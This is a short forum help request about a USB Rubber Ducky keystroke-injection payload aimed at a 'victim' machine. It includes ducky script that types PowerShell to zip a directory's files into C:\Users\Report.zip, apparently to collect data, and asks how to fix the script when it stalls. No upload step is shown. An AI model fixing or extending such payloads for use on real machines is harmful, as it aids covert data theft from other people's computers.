Rubber Ducky Online Payload Generator script

[agilebit]

The online payload generator creates a function inside all its scripts to convert the files to .zip, however when i load the inject.bin file onto the ducky and then plug it into the 'victim' machine, the red light flashes once and stops. thats it.

However, when I remove the function from the script, everything works great. How can i fix this? I've attached the problem script code below:

STRING function copy-ToZip($fileSaveDir){
ENTER
STRING $srcdir = $fileSaveDir
ENTER
STRING $zipFile = 'C:\Users\Report.zip'
ENTER
STRING if(-not (test-path($zipFile))) {
ENTER
STRING set-content $zipFile ("PK" + [char]5 + [char]6 + ("$([char]0)" * 18))
ENTER
STRING (dir $zipFile).IsReadOnly = $false}
ENTER
STRING $shellApplication = new-object -com shell.application
ENTER
STRING $zipPackage = $shellApplication.NameSpace($zipFile)
ENTER
STRING $files = Get-ChildItem -Path $srcdir
ENTER
STRING foreach($file in $files) {
ENTER
STRING $zipPackage.CopyHere($file.FullName)
ENTER
STRING while($zipPackage.Items().Item($file.name) -eq $null){
ENTER
STRING Start-sleep -seconds 1 }}}
ENTER
STRING copy-ToZip($fileSaveDir)